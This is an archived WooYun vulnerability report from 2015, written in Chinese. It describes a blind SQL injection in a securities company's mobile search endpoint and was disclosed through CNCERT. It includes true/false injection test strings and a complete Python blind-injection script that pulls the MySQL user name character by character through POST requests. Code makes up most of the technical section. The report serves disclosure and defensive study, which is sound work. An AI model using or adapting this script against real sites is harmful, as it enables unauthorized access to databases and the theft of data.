当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144305

漏洞标题:中投证券某站SQL盲注(附猜解脚本)

相关厂商:中投证券

漏洞作者: 路人甲

提交时间:2015-09-30 17:42

修复时间:2015-11-24 16:42

公开时间:2015-11-24 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-30: 细节已通知厂商并且等待厂商处理中
2015-10-10: 厂商已经确认,细节仅向厂商公开
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开

简要描述:

中投证券

详细说明:

问题在:http://**.**.**.**/waptwo/**.**.**.**o?businessId=3
在下面的搜索框搜索1' and '1%'='1

1.png


返回正确的搜索结果

2.png


搜索 1' and '1%'='2,发现无搜索结果

3.png


最开始利用sqlmap注入,发现虽然显示有注入,但是无法注出值

4.png


利用hackbar进行payload构造时,发现在浏览器进行url编码之前,需要对post的keyword进行一次urlencod。先利用burp发包,发现盲注可以有值

5.png


写了脚本证明注入存在

6.png

漏洞证明:

6.png


附脚本;

#! usr/bin/env python
# -*- coding: utf-8 -*-
import httplib
import time
import string
import sys
import random
import urllib
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
for payload in payloads:
s = "1' and ascii(mid(lower(user()),"+str(i)+",1))="+str(ord(payload))+" and '%'='" #payload
data=urllib.urlencode({'keyword': s})
conn = httplib.HTTPConnection('**.**.**.**', timeout=10) #连接,host
conn.request('POST',"/waptwo/keywordL**.**.**.**o?businessId=3&ut=index",data,headers) #url
html_header= conn.getresponse().read()
length=len(html_header)
if length>7000:
user+=payload
sys.stdout.write('\r[In progress] %s' % user)
sys.stdout.flush()
break
else:
print '.',
conn.close()
print '\n[Done]MySQL user is', user

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-10 16:40

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向证券业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无